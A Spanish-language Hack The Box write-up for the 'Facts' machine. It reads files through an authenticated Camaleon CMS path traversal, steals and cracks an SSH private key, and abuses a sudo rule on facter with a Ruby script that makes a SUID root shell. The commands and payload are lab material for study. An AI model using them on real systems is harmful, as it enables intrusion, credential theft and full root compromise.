> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/hackthebox/facil/facts.md).

# Facts

## Introduccion

En esta maquina de Hack The Box se compromete un servidor Linux que expone SSH, HTTP y un servicio MinIO. La ruta principal pasa por el virtual host `facts.htb`, una instalacion de Camaleon CMS 2.9.0 y una vulnerabilidad de path traversal autenticado.

Tras acceder al panel del CMS, se aprovecha el path traversal para leer `/etc/passwd` y despues extraer la clave privada SSH del usuario `trivia`. La passphrase de la clave se crackea con John y se obtiene acceso por SSH. La escalada final llega por una regla `sudo` insegura sobre `facter`, que permite ejecutar facts externos y crear una Bash SUID como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- --min-rate 5000 10.129.12.125
```

<div align="center"><img src="/files/lrqWToal6sclf80ZLMY8" alt="Escaneo Nmap"></div>

El escaneo muestra tres puertos abiertos:

| Puerto    | Servicio | Version                    |
| --------- | -------- | -------------------------- |
| 22/tcp    | SSH      | OpenSSH 9.9p1 Ubuntu       |
| 80/tcp    | HTTP     | nginx 1.26.3 Ubuntu        |
| 54321/tcp | HTTP     | MinIO / Go net/http server |

Nmap detecta que el servicio web redirige hacia:

```
http://facts.htb/
```

Se anade el dominio al archivo `/etc/hosts`:

```
10.129.12.125 facts.htb
```

Al acceder al vhost aparece la web principal de Facts:

<div align="center"><img src="/files/pjwUHItIJ0yPVYAxpiPG" alt="Web principal facts.htb"></div>

***

## Enumeracion web

Se realiza fuzzing de rutas con ffuf:

```bash
ffuf -u http://facts.htb/FUZZ \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -e .php,.html,.txt,.zip,.json,.js \
  -ac
```

<div align="center"><img src="/files/1YsD9SPBPXAj0wUHPc3K" alt="Fuzzing con ffuf"></div>

Entre los resultados aparece `/admin`, que redirige al login:

```
http://facts.htb/admin/login
```

<div align="center"><img src="/files/uZud3w4ljca8ktJIaZfI" alt="Login de administracion"></div>

Tras acceder al panel se identifica Camaleon CMS:

<div align="center"><img src="/files/ENiqczhgLaZ9nETJf1bq" alt="Panel de Camaleon CMS"></div>

La version del CMS es:

```
Camaleon CMS 2.9.0
```

***

## Path traversal en Camaleon CMS

Con `searchsploit` se buscan vulnerabilidades conocidas:

```bash
searchsploit camaleon
```

<div align="center"><img src="/files/DyEfLLSdjdfNSWzoxwaO" alt="Searchsploit Camaleon"></div>

El resultado interesante es:

```
Camaleon CMS v2.9.0 - Path Traversal
multiple/webapps/52531.py
```

Se ejecuta el PoC autenticado contra `/etc/passwd`, usando el `auth_token` de la sesion del panel:

```bash
python3 52531.py
```

<div align="center"><img src="/files/iaAk6SZdDS5XMWhXChrm" alt="Lectura de /etc/passwd con path traversal"></div>

La lectura de `/etc/passwd` confirma usuarios locales con shell:

```
trivia
william
```

***

## Clave SSH de trivia

Con el mismo path traversal se intenta leer la clave privada del usuario `trivia`:

```
/home/trivia/.ssh/id_ed25519
```

<div align="center"><img src="/files/RVM1B5BrPRpL2cJIrftX" alt="Clave privada SSH de trivia"></div>

La clave esta protegida con passphrase, por lo que se prepara el hash y se crackea con John:

```bash
ssh2john id_ed25519 > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

<div align="center"><img src="/files/SNG3ugJG10kyPsF34z9e" alt="Crackeo de passphrase SSH"></div>

La passphrase encontrada es:

```
dragonballz
```

Se accede por SSH con la clave:

```bash
ssh -i id_ed25519 -o IdentitiesOnly=yes trivia@facts.htb
```

<div align="center"><img src="/files/KMgQqYwBSUOhEionMkOn" alt="SSH como trivia"></div>

***

## Enumeracion local

Como `trivia`, se revisan los permisos de `sudo`:

```bash
sudo -l
```

<div align="center"><img src="/files/IhivivHDkuQmsGHwhaZV" alt="sudo -l de trivia"></div>

El usuario puede ejecutar `facter` como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/facter
```

`facter` permite cargar facts externos desde un directorio indicado con `--external-dir`. Si se ejecuta con `sudo`, los scripts de ese directorio se ejecutan con privilegios de root.

***

## Escalada a root

Se crea un fact externo en Ruby que copia `/bin/bash`, cambia el propietario a `root` y activa el bit SUID:

```ruby
#!/usr/bin/env ruby
system("cp /bin/bash /home/trivia/rootbash")
system("chown root:root /home/trivia/rootbash")
system("chmod 4755 /home/trivia/rootbash")
puts "pwned=true"
```

<div align="center"><img src="/files/B8kd3FSTnPOUUe30QmwB" alt="Fact externo malicioso"></div>

Se prepara el directorio de facts, se da permiso de ejecucion al script y se ejecuta `facter` con `sudo`:

```bash
mkdir -p /home/trivia/facts
nano /home/trivia/facts/root.rb
chmod +x /home/trivia/facts/root.rb
sudo /usr/bin/facter --external-dir /home/trivia/facts
```

<div align="center"><img src="/files/auJOzDdjmSNEGgbCcosJ" alt="Ejecucion de facter con external-dir"></div>

El binario `/home/trivia/rootbash` queda creado con propietario `root` y bit SUID:

```bash
ls -la /home/trivia/rootbash
/home/trivia/rootbash -p
```

<div align="center"><img src="/files/XM4vTRMMEA4N1cUIRfQK" alt="Shell root con rootbash"></div>

Se obtiene una shell con privilegios de `root`.

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH, HTTP y MinIO.
2. Descubrimiento del virtual host `facts.htb`.
3. Enumeracion web con ffuf hasta localizar `/admin/login`.
4. Acceso al panel de Camaleon CMS 2.9.0.
5. Uso del exploit `52531.py` para path traversal autenticado.
6. Lectura de `/etc/passwd` y descubrimiento del usuario `trivia`.
7. Extraccion de `/home/trivia/.ssh/id_ed25519`.
8. Crackeo de la passphrase SSH con John.
9. Acceso SSH como `trivia`.
10. Abuso de `sudo /usr/bin/facter`.
11. Ejecucion de un fact externo malicioso.
12. Creacion de una Bash SUID y shell final como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/hackthebox/facil/facts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
